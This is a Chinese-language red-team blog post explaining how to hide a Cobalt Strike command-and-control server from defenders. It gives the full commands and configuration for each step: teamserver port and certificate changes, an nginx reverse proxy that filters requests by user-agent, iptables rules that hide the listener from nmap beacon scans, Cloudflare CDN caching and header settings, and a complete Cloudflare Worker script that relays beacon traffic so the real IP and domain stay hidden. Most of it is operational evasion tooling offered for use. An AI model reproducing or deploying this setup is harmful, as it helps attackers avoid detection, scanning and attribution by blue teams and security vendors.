Cobalt Strike特征隐藏
前言
首先红蓝对抗的时候,如果未修改CS特征、容易被蓝队溯源。
前段时间360公布了cobalt strike stage uri的特征,并且紧接着nmap扫描插件也发布了。虽说这个特征很早就被发现了,但最近正好我的ip被卡巴斯基拉黑了/(ㄒoㄒ)/~~,所以来折腾一下。
关于隐藏cobalt strike的特征,网上有很多方法。例如nginx反代、域前置、修改源码等方法。本此主要从nginx反代、cloudflare cdn、cloudflare worker 这三个方面说一下如何隐藏cobalt strike stage uri的特征,以及进一步隐藏c2域名和IP的方法。并记录一下部署过程中遇到的坑点。
想了解域前置技术的小伙伴可以先百度了解一下。cloudflare无法使用域前置,因为它会校验SNI。目前不知到阿里云还行不行。本着匿名,加上cloudlfare免费、对国外访问支持比较好的特点,所以选择了cloudflare。下面介绍一下常见的去特征方式。
去特征的几种常见方法
- 1、更改默认端口
方法一、直接编辑teamserver进行启动项修改。
vi teamserver
方法二、启动时候指定server_port
java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile
- 2、去除证书特征
Cobalt Strike默认的证书已经是分分钟被逮,所以需要生成一个新的证书
这里可以用keytool这个工具。操作简单。Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。
命令:
‐certreq 生成证书请求
‐changealias 更改条目的别名
‐delete 删除条目
‐exportcert 导出证书
‐genkeypair 生成密钥对
‐genseckey 生成密钥
‐gencert 根据证书请求生成证书
‐importcert 导入证书或证书链
‐importpass 导入口令
‐importkeystore 从其他密钥库导入一个或所有条目
‐keypasswd 更改条目的密钥口令
‐list 列出密钥库中的条目
‐printcert 打印证书内容
‐printcertreq 打印证书请求的内容
‐printcrl 打印 CRL 文件的内容
‐storepasswd 更改密钥库的存储口令
使用命令
keytool -keystore CobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
没改之前
改了之后
这些只是要了解的基础,接下来我们就在这上面的基础上,再添加几步。
0x01 部署Nginx反向代理以及https上线
如果在cobalt strike的c2 malleable配置文件中没有自定义http-stager的uri。默认情况下,通过访问默认的uri,就能获取到cs的shellcode。加密shellcode的密钥又是固定的(3.x 0x69,4.x 0x2e),所以能从shellcode中解出c2域名等配置信息。如图是nmap扫描插件的扫描结果。
修改这个特征的方法有很多,可以修改源码加密的密钥,参考:Bypass cobaltstrike beacon config scan
但是光这样也很容易被扫描检测到,所以我们最好还得配置防火墙,限制访问Cs监听的端口
接下来介绍的是我用的一种方法:设置iptables,只允许localhost访问cs listener监听的端口。将外部请求通过nginx转发到localhost上的listener。还可以在nginx上设置过滤规则来允许特定请求。
配置/etc/nginx/nginx.conf文件
首先配置conf文件,Nginx一键安装,在配置文件中设置只允许特定的请求头访问CS的监听端口。这里要根据你的cs配置文件来进行利用,我用的是jquery-c2.4.0.profile
配置如下:只有用我们所指定的请求头的请求才能被反向代理到stage uri
location ~*/jquery {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
return 302 $REDIRECT_DOMAIN$request_uri;
}
proxy_pass https://127.0.0.1:5553;
申请https证书
这里可以直接在cloudflare上申请(申请的域名需要与nginx上设置的域名一致(就是要真实访问的域名)),非常方便,选择默认的pem格式
分别复制内容保存为key.pem和chain.pem上传到cs的服务器上,再在nginx配置文件中启用证书。
server_name img.xxxx.tk
root /usr/share/nginx/html;
ssl_certificate "/usr/local/cs/all/uploads/sss.pem";
ssl_certificate_key "/usr/local/cs/all/uploads/ssk.pem";
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 1440m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # managed by Certbot
ssl_prefer_server_ciphers on; # managed by Certbot
为cobalt strike 配置证书
- 1.生成img.xxxx.tk.store文件
openssl pkcs12 -export -in /api.xxx.com/sss.pem -inkey /api.xxx.com/ssk.pem -out api.xxx.com.p12 -name api.xxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore api.xxx.com.store -srckeystore api.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias api.xxx.com
- 2.将生成的api.xxx.com.store放到cs目录下,修改teamserver文件最后一行,将cobaltstrike.store修改为api.xxx.com.store和store文件对应的密码。
(有必要的话,把端口号也可以改了并设置iptables只允许特定ip访问)
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=40120 -Djavax.net.ssl.keyStore=./api.xxx.com.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
- 3.将 keystore 加入 Malleable C2 profile 中
https-certificate {
set keystore “api.xxx.com.store”;
set password “123456”;
}
然后启动cs设置listener。
这里https port(bind):设置的44321(cs会把端口开在44321),在nginx配置文件中的将proxy_pass设置为:https://127.0.0.1:44321。
开启listener之后设置iptables,只允许127.0.0.1访问。这下nmap也就扫不出来了。
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 44321 -j ACCEPT
iptables -A INPUT -p tcp --dport 44321 -j DROP
到此为止,隐藏cobalt strike特征的设置就暂时告一段落,下面继续说如何隐藏cs服务器ip和域名。
0x02 配置cloudflare cdn
- 1.先添加域名
- 2.添加A记录,指向VPS的IP地址
选择免费版本,设置要加速的子域名,并在你的域名服务商处修改域名解析dns为cloudflare的dns。 - 3.稍等一会,经过cloudflare验证成功后,本地nslookup域名,看一下生效没有。
关闭缓存
为了实时受到我们的命令的响应:我们需要修改缓存规则:
cloudflare能开启开发模式,来禁用缓存,但是只有3个小时。我们可以通过页面规则来永久设置缓存规则。
因为cs配置文件中设置的uri都是js结尾的,所以这里使用*js
来匹配所有uri。
坑点
这里设置cs配置文件时候需要,需要将头设置为header "Content-Type" "application/*; charset=utf-8";
不然可能会出现能上线但是无法回显命令的情况
这里的mime-type如果为application/javascript、text/html等,机器执行命令就无法回显。我怀疑是cdn会检测响应头content-type的值,如果是一些静态文件的mime-type可能就导致这个问题。
至此,cdn就配置完了。并且能通过cdn正常上线。
配置cloudflare worker
配置这个就类似域前置的作用,但是能找到还能够进行域前置技术的CDN还是用域前置比较好,cloudfalre worker可以说只是一个替代品。
cloudflare worker能够执行无服务器函数,免费用户有10万请求/每天的额度。并且你能自定义workers.dev的子域。我们可以编写js处理以及转发请求。
js脚本如下,需要设置X-Forwarded-For头,不然上线的ip是worker的ipv6地址。
let upstream = 'https://img.xxx.tk'
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie');
return new Response(
fetchedResponse.body,
{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}
点击保存部署,访问xxx.ttttt-api.workers.dev域名,看看是否正常。然后在listener中设置
到此设置完毕。
之后通信的请求都是通过xxx.xxx.workers.dev进行的,隐藏了真实域名。并且shellcode通信的ip地址也是cloudflare的ip。